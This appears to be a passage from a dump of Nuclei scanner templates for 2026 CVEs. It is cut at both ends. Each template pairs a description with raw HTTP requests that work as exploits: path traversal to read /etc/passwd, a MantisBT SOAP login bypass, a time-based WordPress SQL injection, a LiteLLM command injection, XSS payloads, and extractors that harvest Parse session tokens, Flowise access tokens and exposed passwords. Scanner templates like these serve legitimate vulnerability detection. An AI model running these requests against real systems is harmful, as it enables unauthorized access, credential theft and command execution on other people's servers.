- 'len(appid) > 0'\n          - 'len(jskey) > 0'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET {{BaseURL}}/index.js HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: appid\n        internal: true\n        group: 1\n        regex:\n          - '(?:applicationId|appId|APP_ID|PARSE_APP_ID)\\s*[=:,]\\s*\"([A-Za-z0-9]{20,})\"'\n          - 'Parse\\.initialize\\(\"([A-Za-z0-9]{20,})\"'\n          - 'X-Parse-Application-Id[\"\\s:]+([A-Za-z0-9]{20,})'\n\n      - type: regex\n        name: jskey\n        group: 1\n        regex:\n          - '(?:javascriptKey|javaScriptKey|jsKey|JS_KEY|PARSE_JS_KEY)\\s*[=:,]\\s*\"([A-Za-z0-9]{20,})\"'\n          - 'Parse\\.initialize\\(\"[A-Za-z0-9]+\"\\s*,\\s*\"([A-Za-z0-9]{20,})\"'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'len(appid) > 0'\n          - 'len(jskey) > 0'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET {{BaseURL}}/parse/health HTTP/1.1\n        Host: {{Hostname}}\n        X-Parse-Application-Id: {{appid}}\n        X-Parse-Javascript-Key: {{jskey}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        condition: and\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"ok\")'\n\n  - raw:\n      - |\n        POST {{BaseURL}}/parse/classes/{{cn}} HTTP/1.1\n        Host: {{Hostname}}\n        X-Parse-Application-Id: {{appid}}\n        X-Parse-Javascript-Key: {{jskey}}\n        Content-Type: application/json\n\n        {\"pivot\":{\"__op\":\"AddRelation\",\"objects\":[{\"__type\":\"Pointer\",\"className\":\"_Session\",\"objectId\":\"{{cn}}\"}]}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n          - 'contains(body, \"objectId\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET {{BaseURL}}/parse/classes/{{cn}}?redirectClassNameForKey=pivot&limit=3 HTTP/1.1\n        Host: {{Hostname}}\n        X-Parse-Application-Id: {{appid}}\n        X-Parse-Javascript-Key: {{jskey}}\n\n    extractors:\n      - type: regex\n        name: session_tokens\n        group: 1\n        regex:\n          - '\"sessionToken\"\\s*:\\s*\"(r:[a-f0-9]+)\"'\n      - type: regex\n        name: user_ids\n        group: 1\n        regex:\n          - '\"user\":{\"__type\":\"Pointer\",\"className\":\"_User\",\"objectId\":\"([A-Za-z0-9]+)\"'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"sessionToken\", \"results\")'\n        condition: and\n# digest: 4a0a00473045022100f3531f9e0ac3075bfecec93c5e0590f97ea73d5ef3373b738158793fd7a3c2c102204d6e12c7058a55e8f4d4d6118ec754fcb2254f8ade68f612b041af1e4b40360d:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-30965.yaml","vuln_id":"cve-2026-30965"},{"raw":"id: CVE-2026-30958\n\ninfo:\n  name: OneUptime < 10.0.21 - Path Traversal\n  author: ashvinctrl,iconnnjka\n  severity: high\n  description: |\n    OneUptime < 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.\n  impact: |\n    Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.\n  remediation: |\n    Upgrade to version 10.0.21 or later.\n  reference:\n    - https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p2wh-9pw8-hvff\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-30958\n    - https://github.com/OneUptime/oneuptime\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2026-30958\n    epss-score: 0.01164\n    epss-percentile: 0.67367\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: title=\"OneUptime\"\n  tags: cve,cve2026,oneuptime,lfi,path-traversal,vuln,unauth\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/workflow/docs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100e2a8f79036d0ae90eb31144edbde34bc176fdabe56f6afaf8630932beec74c200220757c117791c71a1d27a1f3e94a6b9dca0828d7d667ca811b4aefa837fa68f4a5:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-30958.yaml","vuln_id":"cve-2026-30958"},{"raw":"id: CVE-2026-30928\n\ninfo:\n  name: Glances - Information Disclosure\n  author: theamanrawat\n  severity: high\n  description: |\n    Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.\n  impact: |\n    Attackers can access sensitive credentials, including passwords and keys, leading to potential full system compromise.\n  remediation: |\n    Upgrade to version 4.5.1 or later.\n  reference:\n    - https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-30928\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-30928\n    epss-score: 0.01693\n    epss-percentile: 0.77188\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,glances,exposure\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/4/config\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - '\"password\": \"[A-Za-z0-9_@.#&+-;$]*\",'\n\n      - type: word\n        part: header\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402203c20c011cbd51cc1bd66746c16a7cd2901dcb707280b2a16955efe2e334b5e90022053fbc402688d114944e949b310f9c7f6fe2787718620c41c4fef6c656c94fab3:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-30928.yaml","vuln_id":"cve-2026-30928"},{"raw":"id: CVE-2026-30849\n\ninfo:\n  name: MantisBT < 2.28.1 - SOAP API Authentication Bypass\n  author: str4k3r\n  severity: critical\n  description: |\n    Mantis Bug Tracker < 2.28.1 on MySQL databases contains an authentication bypass caused by improper type checking on the password parameter in the SOAP API, letting attackers login without the actual password using a crafted SOAP envelope, exploit requires knowing the victim's username.\n  impact: |\n    Attackers can bypass authentication to access victim accounts and execute API functions, potentially compromising user data and system integrity.\n  remediation: |\n    Upgrade to version 2.28.1 or later; disabling the SOAP API reduces risk.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-30849\n    - https://github.com/mantisbt/mantisbt/security/advisories/GHSA-phrq-pc6r-f6gh\n    - https://mantisbt.org/bugs/view.php?id=36902\n  classification:\n    cve-id: CVE-2026-30849\n    epss-score: 0.0176\n    epss-percentile: 0.78064\n    cwe-id: CWE-843\n    cvss-score: 9.3\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: mantisbt\n    product: mantisbt\n    shodan-query: http.title:\"MantisBT\"\n    fofa-query: title=\"MantisBT\"\n  tags: cve,cve2026,mantisbt,soap,auth-bypass,type-confusion,mysql,unauth\n\nhttp:\n  - raw:\n      - |\n        POST /api/soap/mantisconnect.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: \"http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_login\"\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\">\n          <SOAP-ENV:Body>\n            <ns1:mc_login xmlns:ns1=\"http://futureware.biz/mantisconnect\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n              <username xsi:type=\"xsd:string\">administrator</username>\n              <password xsi:type=\"xsd:int\">0</password>\n            </ns1:mc_login>\n          </SOAP-ENV:Body>\n        </SOAP-ENV:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"mc_loginResponse\", \"access_level\")'\n        condition: and\n# digest: 4b0a0048304602210082855484bece8103ad50d8925c021d4b0c527a5f49b0f4eea2b31aa9a6e76ceb02210097938666020e000eb25382bd25973f55b237ee4799bd2e288801e55cd9ae446f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-30849.yaml","vuln_id":"cve-2026-30849"},{"raw":"id: CVE-2026-30824\n\ninfo:\n  name: Flowise - NVIDIA NIM Endpoints Missing Authentication\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.\n  impact: |\n    Unauthenticated attackers can access privileged container management and token generation, potentially leading to full system compromise.\n  remediation: This issue has been patched in version 3.0.13\n  reference:\n    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5f53-522j-j454\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-30824\n    - https://github.com/FlowiseAI/Flowise\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-30824\n    epss-score: 0.3733\n    epss-percentile: 0.98531\n    cwe-id: CWE-306\n  metadata:\n    max-request: 2\n    vendor: flowiseai\n    product: flowise\n    shodan-query: title:\"Flowise\"\n    fofa-query: title=\"Flowise\"\n  tags: cve,cve2026,flowise,nvidia,nim,unauth,auth-bypass,token-leak\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/nvidia-nim/get-token\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, 'access_token','token_type')\"\n        condition: and\n\n    extractors:\n      - type: regex\n        name: access_token\n        group: 1\n        regex:\n          - '\"access_token\"\\s*:\\s*\"([^\"]+)\"'\n        part: body\n# digest: 4a0a00473045022100c1ec4fc62135f6f4595dbb06d10ad294f76b8d8750f927ec6b7e160b843c5b2402204ac6b8fb742f37331e724be8e1934f9e5550badf34903da4aaf6df8b2b0f143d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-30824.yaml","vuln_id":"cve-2026-30824"},{"raw":"id: CVE-2026-30623\n\ninfo:\n  name: LiteLLM 1.18.10 - Command Injection\n  author: leeseungsu\n  severity: high\n  description: |\n    LiteLLM 1.18.10 contains a remote code execution caused by lack of validation of arbitrary command and args in MCP server creation, letting attackers execute OS commands remotely, exploit requires crafted JSON configuration.\n  impact: |\n    Attackers can execute arbitrary OS commands remotely with LiteLLM process privileges, potentially compromising the host system.\n  remediation: |\n    Update to the latest version of LiteLLM with validation for MCP server commands.\n  reference:\n    - https://docs.litellm.ai/blog/mcp-stdio-command-injection-april-2026\n    - https://cveawg.mitre.org/api/cve/CVE-2026-30623\n    - https://github.com/BerriAI/litellm\n  classification:\n    cve-id: CVE-2026-30623\n    epss-score: 0.05952\n    epss-percentile: 0.93299\n    cwe-id: CWE-77\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,litellm,rce,authenticated,mcp\n\nvariables:\n  marker: \"{{randstr}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /mcp-rest/test/connection HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n        {\n          \"server_id\": \"nuclei-{{marker}}\",\n          \"server_name\": \"nuclei-{{marker}}\",\n          \"transport\": \"stdio\",\n          \"command\": \"sh\",\n          \"args\": [\"-c\", \"sleep 4\"]\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - \"Failed to connect to MCP server\"\n\n      - type: word\n        part: body\n        negative: true\n        words:\n          - \"not in the allowed commands list\"\n          - \"Allowed commands\"\n\n      - type: dsl\n        dsl:\n          - \"duration >= 4\"\n# digest: 490a00463044022019f208bba2b017579ed16e22ccf8b119c4d7c761bfe5595c9948d0586bc8fb19022050e582de48b2d70aa8d01e18a0dc6da1e2c0b7bdb4bab35ed9af2959740c3af2:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-30623.yaml","vuln_id":"cve-2026-30623"},{"raw":"id: CVE-2026-3055\n\ninfo:\n  name: Citrix NetScaler SAML IDP - Memory Overread\n  author: watchtowr,shaikhyaser,DhiyaneshDk\n  severity: critical\n  description: |\n    NetScaler ADC and NetScaler Gateway contain an insufficient input validation vulnerability when configured as a SAML IDP, leading to memory overread, letting attackers potentially access sensitive memory, exploit requires configuration as SAML IDP\n  impact: |\n    Attackers can cause memory overread, potentially exposing sensitive information or causing application instability.\n  remediation: Update to the latest version with the fix for this vulnerability.\n  reference:\n    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696300\n    - https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/\n    - https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query:\n      - title:\"NetScaler Gateway\"\n      - title:\"NetScaler AAA\"\n      - http.favicon.hash:-1166125415\n      - http.favicon.hash:-1292923998\n    fofa-query:\n      - title=\"NetScaler Gateway\"\n      - title=\"NetScaler AAA\"\n      - icon_hash=\"-1166125415\"\n      - icon_hash=\"-1292923998\"\n  tags: cve,cve2026,netscaler,citrix,exposure,kev,vkev,vuln\n\nflow: http(1) || http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /saml/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Accept-Encoding: gzip\n\n        SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iICANCklEPSJfMSINClZlcnNpb249IjIuMCIgUHJvdmlkZXJOYW1lPSJteSBwcm92aWRlciIgDQpEZXN0aW5hdGlvbj0iaHR0cDovL3dhdGNodG93ci9zYW1sLnBocCIgDQpQcm90b2NvbEJpbmRpbmc9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpiaW5kaW5nczpIVFRQLVBPU1QiIA0KPg0KICA8c2FtbDpJc3N1ZXI%2BaHR0cDovL3dhdGNodG93ci9zYW1sLnBocDwvc2FtbDpJc3N1ZXI%2BDQo8L3NhbWxwOkF1dGhuUmVxdWVzdD4%3D\n\n      - |\n        GET /wsfed/passive?wctx HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - regex('(?i)NSC_TASS=[A-Za-z0-9+/]+=*', set_cookie)\n          - 'status_code == 302'\n          - 'contains(base64_decode(nsc_tass), \"wctx=\")'\n          - '!contains(body, \"Parsing of presented Assertion failed\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - base64_decode(nsc_tass)\n# digest: 4a0a004730450220406d2dccc32a82831ddc8dfdec81d513c70d55da7324594a5ead9cdcf01a770102210086e0c3ca49f0abb8959e67730de028261f4ef59e17332d52ac062fc0e84d5a40:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-3055.yaml","vuln_id":"cve-2026-3055"},{"raw":"id: CVE-2026-3018\n\ninfo:\n  name: WordPress Newsletters <= 4.13 - Unauthenticated SQL Injection\n  author: pussycat0x\n  severity: high\n  description: |\n    Newsletters WordPress plugin <= 4.13 contains a time-based SQL injection caused by insufficient escaping of the 'wpmlsubscriber_id' parameter, letting unauthenticated attackers extract sensitive database information.\n  impact: |\n    Unauthenticated attackers can extract sensitive information from the database, potentially compromising data confidentiality.\n  remediation: Update to the latest version beyond 4.13.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/newsletters-lite/newsletters-413-unauthenticated-sql-injection\n    - https://plugins.trac.wordpress.org/changeset/3566485/newsletters-lite\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-3018\n    epss-score: 0.01382\n    epss-percentile: 0.72232\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: tribulant\n    product: newsletters\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/newsletters-lite/\"\n  tags: cve,cve2026,sqli,wp,wp-plugin,newsletters-lite,time-based-sqli,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/newsletters-lite/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Newsletters\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        internal: true\n        group: 1\n        regex:\n          - '(?i)Stable\\s*tag:\\s*(\\d+\\.\\d+(?:\\.\\d+)?)'\n\n  - raw:\n      - |\n        @timeout: 20s\n        GET /newsletter-management/?method=unsubscribe&wpmlsubscriber_id=1'+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn)+AND+'1'='1&authkey=x&wpmlmailinglist_id=1 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=6'\n          - 'status_code == 200'\n          - 'contains(body, \"wp-content\") || contains(body, \"wordpress\") || contains(body, \"newsletter\")'\n        condition: and\n# digest: 490a004630440220741fb747a66ab87c9aa561e3ab72d052d6c8669a83187fc4c44478b70cf22ea902202a8662ac8cd945b94e08819e3de5fea2ec055fcb66861f36dcd9310516133e50:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-3018.yaml","vuln_id":"cve-2026-3018"},{"raw":"id: CVE-2026-3001\n\ninfo:\n  name: Gutenverse Plugin <= 3.4.6 - Cross-Site Scripting\n  author: coffeetaro_12\n  severity: medium\n  description: |\n    The Gutenverse plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in versions up to and including 3.4.6. The issue arises due to insufficient input sanitization and output escaping in the `render_content()` method of `class-search-result-title.php`, which outputs the value of `get_query_var('s')` directly into the page HTML without applying `esc_html()`. This makes it possible for unauthenticated attackers to inject and execute arbitrary web scripts in pages via a crafted URL, provided the `gutenverse/search-result-title` block is present on the site's search results template.\n  impact: |\n    Unauthenticated attackers can execute arbitrary scripts in users' browsers, leading to session hijacking or phishing.\n  remediation: |\n    Update to a version later than 3.4.6 or latest available version.\n  reference:\n    - https://www.cve.org/CVERecord?id=CVE-2026-3001\n    - https://wpscan.com/vulnerability/b4d5571b-fcbf-409d-be91-efcfe9a3fa95/\n    - https://patchstack.com/database/wordpress/plugin/gutenverse/vulnerability/wordpress-gutenverse-wordpress-blocks-page-builder-site-editor-plugin-3-4-6-reflected-cross-site-scripting-vulnerability\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-3001\n    epss-score: 0.005\n    epss-percentile: 0.42962\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: jegstudio\n    product: gutenverse\n    publicwww-query: \"/wp-content/plugins/gutenverse/\"\n  tags: cve,cve2026,xss,wordpress,gutenverse,wp-plugin,wp\n\nhttp:\n  - raw:\n      - |\n        GET /?s=<script>alert(1)</script> HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<script>alert(1)</script>\"\n          - \"gutenverse\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n    extractors:\n      - type: regex\n        part: body\n        regex:\n          - \"<span class='search-input-text'><script>alert(1)</script></span>\"\n# digest: 4b0a004830460221009b94a2f701559c935320edd1734660bd0d8090242da54cd45c742a499df6604f022100aca6a10205ca2d55dc4450d2b65812b712230eb857e299f193b82cd705f850f7:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-3001.yaml","vuln_id":"cve-2026-3001"},{"raw":"id: CVE-2026-29963\n\ninfo:\n  name: HSC MailInspector - Unauthenticated Arbitrary File Read\n  author: str4k3r\n  severity: high\n  description: |\n    HSC MailInspector 5.3.3-7 contains a path traversal caused by improper validation of user-supplied input in /tap/dw.php text parameter, letting remote attackers access arbitrary files, exploit requires crafted request.\n  impact: |\n    Remote attackers can access arbitrary files, leading to unauthorized disclosure of sensitive information.\n  remediation: |\n    Update to the latest version.\n  reference:\n    - https://github.com/sql3t0/cve-disclosures/blob/main/02_-_CVE-2026-29963_LFI%2BPath_Traversal.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-29963\n    - https://hsclabs.com/pt-br/mailinspector/\n  classification:\n    cve-id: CVE-2026-29963\n    epss-score: 0.0266\n    epss-percentile: 0.85736\n    cwe-id: CWE-22\n    cvss-score: 7.5\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: hsclabs\n    product: mailinspector\n    shodan-query: http.html:\"mailinspector\"\n    fofa-query: body=\"mailinspector\"\n  tags: cve,cve2026,mailinspector,lfi,traversal,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /mailinspector/tap/dw.php?name&sha1&ext=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D%3D HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n# digest: 4b0a00483046022100cc643b578ca6349e88d1b663d87dcb1938158ace119e6b6637464e3f49a5316802210094a0ea1ba3fc78cafb6a65350dd0f4b3a37d274af514319bdc5c7e6ea91e5030:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-29963.yaml","vuln_id":"cve-2026-29963"},{"raw":"id: CVE-2026-29962\n\ninfo:\n  name: HSC MailInspector - Local File Inclusion\n  author: str4k3r\n  severity: high\n  description: |\n    HSC MailInspector v5.3.3-7 contains a path traversal caused by improper control of user-supplied file paths in /vendor/phpunit/phpunit.php, letting remote attackers read arbitrary files, exploit requires crafted request.\n  impact: |\n    Remote attackers can read arbitrary files, potentially disclosing sensitive information from the system.\n  remediation: |\n    Update to the latest version.\n  reference:\n    - https://github.com/sql3t0/cve-disclosures/blob/main/01_-_CVE-2026-29962_LFI%2BPath_Traversal.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-29962\n  classification:\n    cve-id: CVE-2026-29962\n    epss-score: 0.0153\n    epss-percentile: 0.74818\n    cwe-id: CWE-73\n    cvss-score: 7.5\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: hsclabs\n    product: mailinspector\n    shodan-query: http.html:\"mailinspector\"\n    fofa-query: body=\"mailinspector\"\n  tags: cve,cve2026,mailinspector,php,phpunit,lfi\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/mailinspector\"\n\n    redirects: true\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"/mailinspector/\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/mailinspector/vendor/phpunit/phpunit.php?--bootstrap=/etc/passwd\"\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - \"root:x:0:0:\"\n# digest: 490a00463044022008b480d47673577774c8d5a16ec9716278679516f76af7e92715565d74a9204e02206a92e42013c687a193b47718a5a4db9438412b9616d352ef97923549d03e356d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-29962.yaml","vuln_id":"cve-2026-29962"},{"raw":"id: CVE-2026-29183\n\ninfo:\n  name: SiYuan Note - Cross-Site Scripting\n  author: ritikchaddha\n  severity: medium\n  description: |\n    Unauthenticated reflected cross-site scripting (XSS) vulnerability in all versions of SiYuan Note containing `/api/icon/getDynamicIcon` with unsafe `type=8` rendering logic. Attacker-controlled `content` is inserted directly into SVG output without proper sanitization. An attacker can execute arbitrary JavaScript in users' browsers when they visit a crafted malicious link.\n  remediation: |\n    Upgrade to SiYuan version 3.5.9 or later, which properly sanitizes SVG content.\n  impact: |\n    Successful exploitation allows arbitrary JavaScript execution in the SiYuan web origin. Attackers can abuse authenticated API actions and exfiltrate sensitive data if a privileged session is active.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6865-qjcf-286f\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-29183\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-29183\n    epss-score: 0.00701\n    epss-percentile: 0.53329\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: siyuan-note\n    product: siyuan\n    shodan-query: http.favicon.hash:-1450125239\n  tags: cve,cve2026,siyuan,xss,svg\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E<script>alert(document.domain)</script><text%3E\"\n      - \"{{BaseURL}}/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cimage%20href%3Dx%20onerror%3Dalert(document.domain)%3E%3C%2Fimage%3E%3Ctext%3E\"\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '<script>alert(document.domain)</script>'\n          - '</text><image href=\"x\" onerror=\"alert(document.domain)\">'\n        condition: or\n\n      - type: word\n        part: body\n        words:\n          - 'id=\"dynamic_icon_type8'\n\n      - type: word\n        part: content_type\n        words:\n          - \"image/svg+xml\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a0048304602210085b1f5ba72bbc7bd7499f65ce757aa84db3866272f39964f571bc0eadfb86587022100917a0afae5f4e874efb8b2ccba9c0600fe5cd85088e3e8bf73e0f434159d035c:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-29183.yaml","vuln_id":"cve-2026-29183"},{"raw":"id: CVE-2026-29066\n\ninfo:\n  name: TinaCMS - Path Traversal\n  author: theamanrawat\n  severity: medium\n  description: |\n    TinaCMS CLI < 2.1.8 contains a file system read vulnerability caused by disabled Vite server.fs.strict setting, letting unauthenticated attackers read arbitrary files on the host system, exploit requires access to the dev server.\n  impact: |\n    Unauthenticated attackers can read arbitrary files on the host system, potentially exposing sensitive information.\n  remediation: |\n    Update to version 2.1.8 or later.\n  reference:\n    - https://github.com/tinacms/tinacms/security/advisories/GHSA-m48g-4wr2-j2h6\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-29066\n  classification:\n    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 6.2\n    cve-id: CVE-2026-29066\n    epss-score: 0.01047\n    epss-percentile: 0.64314\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-requests: 3\n    vendor: tinacms\n    product: tinacms\n    shodan-query: http.title:\"TinaCMS\"\n    fofa-query: body=\"TinaCMS\" || body=\"tinacms\"\n  tags: cve,cve2026,tinacms,lfi,vuln,unauthenticated\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    host-redirects: true\n    max-redirects: 3\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"tina-tailwind\"\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/etc/passwd\"\n\n    host-redirects: true\n    max-redirects: 3\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"root:x:0:0\"\n\n      - type: status\n        status:\n          - 200\n# digest: 